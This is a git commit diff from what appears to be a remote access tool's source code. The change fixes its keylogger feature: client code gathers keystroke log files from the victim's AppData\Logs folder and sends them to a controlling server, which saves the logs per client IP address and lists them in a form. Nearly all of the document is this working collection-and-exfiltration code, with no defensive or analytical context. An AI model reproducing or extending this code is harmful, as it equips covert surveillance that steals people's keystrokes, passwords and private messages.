More fixes to Keylogger

This commit is contained in:
MaxXor 2015-05-01 15:09:45 +02:00
parent 770d194ba9
commit e8d8e8d58e
3 changed files with 21 additions and 33 deletions

View File

@ -367,18 +367,16 @@ namespace xClient.Core.Commands
{
new Thread(() =>
{
int index = 1;
try
{
int index = 1;
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
DirectoryInfo dicInfo = new DirectoryInfo(path);
FileInfo[] iFiles = dicInfo.GetFiles();
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
if (iFiles.Length == 0)
{
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, iFiles.Length).Execute(client);
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
return;
}

View File

@ -335,11 +335,25 @@ namespace xServer.Core.Commands
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
{
client.Value.FrmKl.Invoke((MethodInvoker) delegate
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();
if (iFiles.Length == 0)
return;
foreach (FileInfo file in iFiles)
{
var file1 = file;
client.Value.FrmKl.Invoke((MethodInvoker)delegate
{
client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem().Text = file1.Name);
});
}
client.Value.FrmKl.Invoke((MethodInvoker)delegate
{
if (packet.Index == packet.FileCount)
client.Value.FrmKl.btnGetLogs.Enabled = true;
});
}

View File

@ -49,33 +49,9 @@ namespace xServer.Forms
private void btnGetLogs_Click(object sender, EventArgs e)
{
btnGetLogs.Enabled = false;
lstLogs.Items.Clear();
new Core.Packets.ServerPackets.GetLogs().Execute(_connectClient);
new Thread(() =>
{
while (!btnGetLogs.Enabled)
{
if (FrmMain.Instance == null)
//Provide an escape from thread in the case of client-server disconnection, a possibly rare occurence
return;
Thread.Sleep(15);
}
FileInfo[] iFiles = new DirectoryInfo(_path).GetFiles();
if (iFiles.Length == 0)
return;
foreach (FileInfo file in iFiles)
{
var file1 = file;
lstLogs.Invoke((MethodInvoker) delegate { lstLogs.Items.Add(new ListViewItem().Text = file1.Name); });
}
}).Start();
}
private void lstLogs_ItemActivate(object sender, EventArgs e)